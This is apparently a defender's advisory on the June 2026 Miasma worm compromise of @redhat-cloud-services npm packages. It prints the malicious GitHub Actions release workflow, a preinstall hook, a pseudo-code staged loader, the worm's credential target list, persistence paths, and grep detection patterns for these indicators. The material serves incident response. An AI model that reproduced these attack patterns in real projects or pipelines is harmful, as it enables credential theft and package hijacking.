critical

CVE

Not assigned

CWE

CWE-506, CWE-200, CWE-522, CWE-829

Affected Surface

@redhat-cloud-services npm namespace, RedHatInsights/frontend-components, RedHatInsights/javascript-clients, RedHatInsights/platform-frontend-ai-toolkit, GitHub Actions trusted publishing workflows, developer workstations and CI runners that installed affected @redhat-cloud-services versions

Red Hat published RHSB-2026-006 after multiple packages under the legitimate @redhat-cloud-services npm scope were compromised on 1 June 2026. Aikido, Wiz, Socket, and OX Security separately traced the malicious packages to a Miasma variant derived from the Mini Shai-Hulud npm worm tooling.

This is not a classic npm password theft story. The more important control-plane failure was GitHub access. A compromised Red Hat GitHub account pushed unauthorized orphan commits into RedHatInsights repositories, added GitHub Actions release workflows, requested GitHub OIDC identity tokens, and used npm trusted publishing to publish backdoored packages with provenance-looking metadata. Red Hat says engineering removed the compromised package versions and is checking whether any product builds included them.

Follow-up reverse engineering published on 2 June made the campaign materially clearer. Microsoft described more than 90 malicious package versions across 32 packages, while JFrog and Snyk independently confirmed the install-time preinstall path, the Bun-based staging chain, and the worm’s ability to reuse compromised npm or GitHub publishing access to spread downstream. That means this incident is not just “malicious JavaScript in a package” - it is a release-pipeline compromise plus a multi-stage post-install intrusion set.

Affected projects

The affected npm packages are frontend and client libraries in the @redhat-cloud-services namespace. Public writeups were updated during revocation, so teams should block and investigate the following package/version pairs rather than relying on only the first-published tables:

PackageAffected versions
@redhat-cloud-services/chrome2.3.1, 2.3.2, 2.3.4
@redhat-cloud-services/compliance-client4.0.3, 4.0.4, 4.0.6
@redhat-cloud-services/config-manager-client5.0.4, 5.0.5, 5.0.7
@redhat-cloud-services/entitlements-client4.0.11, 4.0.12, 4.0.14
@redhat-cloud-services/eslint-config-redhat-cloud-services3.2.1, 3.2.2, 3.2.4
@redhat-cloud-services/frontend-components7.7.2, 7.7.3, 7.7.5
@redhat-cloud-services/frontend-components-advisor-components3.8.2, 3.8.4, 3.8.5, 3.8.6
@redhat-cloud-services/frontend-components-config6.11.3, 6.11.4, 6.11.6
@redhat-cloud-services/frontend-components-config-utilities4.11.2, 4.11.3, 4.11.5
@redhat-cloud-services/frontend-components-notifications6.9.2, 6.9.3, 6.9.5
@redhat-cloud-services/frontend-components-remediations4.9.2, 4.9.3, 4.9.5
@redhat-cloud-services/frontend-components-testing1.2.1, 1.2.2, 1.2.4
@redhat-cloud-services/frontend-components-translations4.4.1, 4.4.2, 4.4.4
@redhat-cloud-services/frontend-components-utilities7.4.1, 7.4.2, 7.4.4
@redhat-cloud-services/hcc-feo-mcp0.3.1, 0.3.2, 0.3.4
@redhat-cloud-services/hcc-kessel-mcp0.3.1, 0.3.2, 0.3.4
@redhat-cloud-services/hcc-pf-mcp0.6.1, 0.6.2, 0.6.4
@redhat-cloud-services/host-inventory-client5.0.3, 5.0.4, 5.0.6
@redhat-cloud-services/insights-client4.0.4, 4.0.5, 4.0.7
@redhat-cloud-services/integrations-client6.0.4, 6.0.5, 6.0.7
@redhat-cloud-services/javascript-clients-shared2.0.8, 2.0.9, 2.0.11
@redhat-cloud-services/notifications-client6.1.4, 6.1.5, 6.1.7
@redhat-cloud-services/patch-client4.0.4, 4.0.5, 4.0.6, 4.0.7
@redhat-cloud-services/quickstarts-client4.0.11, 4.0.12, 4.0.14
@redhat-cloud-services/rbac-client9.0.3, 9.0.4, 9.0.6
@redhat-cloud-services/remediations-client4.0.4, 4.0.5, 4.0.7
@redhat-cloud-services/rule-components4.7.2, 4.7.3, 4.7.5
@redhat-cloud-services/sources-client3.0.10, 3.0.11, 3.0.13
@redhat-cloud-services/topological-inventory-client3.0.10, 3.0.11, 3.0.13
@redhat-cloud-services/tsc-transform-imports1.2.2, 1.2.4, 1.2.5, 1.2.6
@redhat-cloud-services/types3.6.1, 3.6.2, 3.6.4
@redhat-cloud-services/vulnerabilities-client2.1.8, 2.1.9, 2.1.11

The upstream repositories reported in public analysis include:

RedHatInsights/frontend-components
RedHatInsights/javascript-clients
RedHatInsights/platform-frontend-ai-toolkit

Trusted publishing became the delivery path

The malicious commits added a release workflow shaped like this:

name: release
on:
  push:
    branches: ["*"]
jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
      - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
      - name: prepare
        run: bun run _index.js
        env:
          OIDC_PACKAGES: "@redhat-cloud-services/frontend-components,..."

The critical line is id-token: write. In a trusted-publishing setup, GitHub Actions can mint a short-lived OIDC token that npm accepts for publication. That removes the long-lived npm token from CI, which is good, but it does not protect the package if an attacker can run a malicious workflow inside a trusted repository context.

In this incident, the unauthorized workflow did three things defenders should model explicitly:

  1. Triggered on attacker-controlled branch pushes.
  2. Requested the OIDC token from GitHub Actions.
  3. Executed an obfuscated Bun script that published modified package tarballs.

That means valid-looking provenance is not equivalent to reviewed source. Provenance answers “which workflow produced this artifact”; it does not prove the workflow or commit was legitimate.

Install-time execution

The published npm packages added a preinstall hook:

{
  "scripts": {
    "preinstall": "node index.js"
  }
}

preinstall runs before the dependent application imports the package. A compromised transitive frontend package can therefore execute on:

developer laptops
CI runners
container image builds
release automation
internal package smoke tests
dependency update bots

The 2 June technical follow-ups show that index.js was not the final stealer. It was a staged loader. Representative analysis described a chain like:

const stage2 = rot9Decode(fromHugeCharcodeArray(obfuscatedBlob));
const { bunBootstrap, mainPayload } = aesGcmUnwrap(stage2);

const payloadPath = `/tmp/p${Math.random().toString(36).slice(2)}.js`;
fs.writeFileSync(payloadPath, mainPayload);

await ensureBun_1_3_13(bunBootstrap);      // downloads Bun if missing
execSync(`"${getBunPath()}" run "${payloadPath}"`);
fs.unlinkSync(payloadPath);

The important detail is the process chain. On an affected host, npm install can turn into node index.js, then curl/unzip or equivalent Bun bootstrap activity, then bun run /tmp/p*.js. Public malware metadata for one representative package also describes the loader as a three-layer chain: a ROT-9 transform over a very large character-code array, AES-128-GCM decryption of staged blobs, and another obfuscation layer for the final payload.

That staging matters operationally. Defenders should not limit hunting to suspicious Node.js child processes. On Linux and macOS, transient Bun downloads under /tmp/b-* and temporary payload files under /tmp/p*.js are high-signal indicators that the malicious release actually executed.

Post-install behavior changed after initial disclosure

The later writeups fill in how Miasma differs from earlier Mini Shai-Hulud waves:

  • The loader uses Bun v1.3.13 as an execution substrate, reducing dependence on the victim’s Node.js runtime and changing the parent/child process telemetry defenders should expect.
  • GitHub remained both a propagation path and an exfiltration fallback. Attacker-created public repositories used the description Miasma: The Spreading Blight, with result files committed under results/.
  • JFrog observed a configured direct exfiltration destination shaped like https://api.anthropic.com/v1/api. The domain is legitimate, but the path is abnormal and appears to have been chosen as camouflage rather than as evidence of compromise at that provider.
  • Public malware metadata for representative affected packages describes additional behavior beyond basic secret theft: Docker-socket abuse, GitHub GraphQL createCommitOnBranch usage, CI-environment scraping, sandbox/EDR checks, and persistence through developer-tool configuration files.

Credential targets

Miasma keeps the broad Mini Shai-Hulud credential sweep and adds stronger cloud-identity collection. The target set includes:

GITHUB_TOKEN and ACTIONS_RUNTIME_TOKEN
npm and PyPI publish credentials
AWS access keys, profiles, ECS and EC2 metadata credentials
GCP application-default credentials and service-account material
Azure service-principal, managed-identity, and Key Vault material
HashiCorp Vault tokens
Kubernetes service-account tokens and kubeconfig files
SSH private keys
Docker registry credentials
GPG keys
.env files and filesystem secret patterns
Claude Code and VS Code configuration

Several reports observed exfiltration through attacker-created public GitHub repositories whose description was Miasma: The Spreading Blight. Wiz also reported a GCP collection user agent of google-api-nodejs-client/7.0.0 gl-node/20.11.0 gccl/7.0.0.

The scope is broader than flat files in a home directory. Public June 2 follow-up material attributes all of the following to the live payload family:

  • gh auth token collection and GitHub token regex hunting for classic, fine-grained, and GitHub Actions tokens.
  • Cloud-control-plane enumeration, including AWS IMDS, ECS, Secrets Manager, SSM, Azure managed identities and Key Vault material, GCP service-account and Secret Manager access, and Kubernetes service-account tokens.
  • Republish logic that patches package.json, adds or rewrites preinstall, bumps patch versions, and republishes through either stolen npm credentials or GitHub Actions OIDC exchanges.
  • Repository-level persistence and developer-environment tampering through .claude/settings.json, .claude/setup.mjs, .vscode/tasks.json, and injected GitHub Actions files such as .github/setup.js.

Persistence and coercive logic

One of the most important updates in the June 2 research is that Miasma should be handled like host malware, not like a registry-only issue. JFrog documented Linux and macOS persistence paths such as:

~/.config/systemd/user/kitty-monitor.service
~/.local/share/kitty/cat.py
~/.config/systemd/user/gh-token-monitor.service
~/.local/bin/gh-token-monitor.sh
~/.config/gh-token-monitor/token
~/.config/gh-token-monitor/handler
~/Library/LaunchAgents/com.user.kitty-monitor.plist
~/Library/LaunchAgents/com.user.gh-token-monitor.plist

The gh-token-monitor component is particularly dangerous for responders. JFrog observed a threat string, IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner, tied to the token-monitor workflow. Treat that as coercive logic, not as empty theater: isolate the machine and remove persistence before revoking GitHub tokens or cloud identities.

Detection

Search source trees, lockfiles, and CI artifacts for the affected package names and versions. For npm projects:

rg -n \
  "@redhat-cloud-services/(chrome|frontend-components|rbac-client|types|vulnerabilities-client|hcc-.*-mcp)" \
  package.json package-lock.json npm-shrinkwrap.json pnpm-lock.yaml yarn.lock

Then inspect installed package contents and build logs for install-time execution:

rg -n \
  "\"preinstall\"\\s*:\\s*\"node index\\.js\"|Miasma: The Spreading Blight|api\\.anthropic\\.com/v1/api|IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner|kitty-monitor|gh-token-monitor" \
  node_modules .github ~/.config ~/.claude .vscode

For GitHub organizations, look for unexpected repositories, unexpected public repositories containing secret dumps, and workflow runs that requested OIDC tokens from unusual branches:

gh run list --all --json databaseId,displayTitle,event,headBranch,status,createdAt

Review repository history for orphan-looking release branches such as oidc-*, unauthorized .github/workflows/codeql.yml files, suspicious artifact names such as format-results, and unexpected setup scripts such as .github/setup.js or _index.js.

On Linux workstations and self-hosted runners, also hunt for filesystem and service artifacts:

rg -n \
  "kitty-monitor|gh-token-monitor|Miasma: The Spreading Blight" \
  "$HOME/.config/systemd/user" "$HOME/.config/gh-token-monitor" "$HOME/.local/bin" "$HOME/.claude" "$PWD/.vscode"

Response guidance

Treat installation of an affected version as code execution, not as a harmless dependency resolution event.

  1. Isolate affected developer machines, CI runners, and build containers before revoking tokens or rotating secrets.
  2. Preserve package-lock files, build logs, shell history, workflow logs, suspicious GitHub repositories, and temporary Bun/payload paths for scoping.
  3. Stop and remove local persistence before invalidating GitHub credentials:
systemctl --user stop kitty-monitor.service gh-token-monitor.service 2>/dev/null || true
systemctl --user disable kitty-monitor.service gh-token-monitor.service 2>/dev/null || true
  1. Remove affected package versions and reinstall with lifecycle scripts disabled while investigating:
npm ci --ignore-scripts
  1. Rotate GitHub, npm, cloud, Vault, Kubernetes, Docker, PyPI, SSH, and GPG credentials that were reachable from affected hosts, using a different clean system.
  2. Invalidate release artifacts built during the exposure window unless the build environment is proven clean.
  3. Audit trusted-publishing repositories for workflows that can request id-token: write on unprotected branches, and for unexpected GitHub GraphQL-driven workflow or action rewrites.

The hard lesson is that tokenless publishing is still a privileged release path. It should be protected with branch restrictions, required reviews for workflow changes, CODEOWNERS on .github/workflows, environment approvals, short runner lifetimes, and downstream malware scanning of artifacts before publication.

References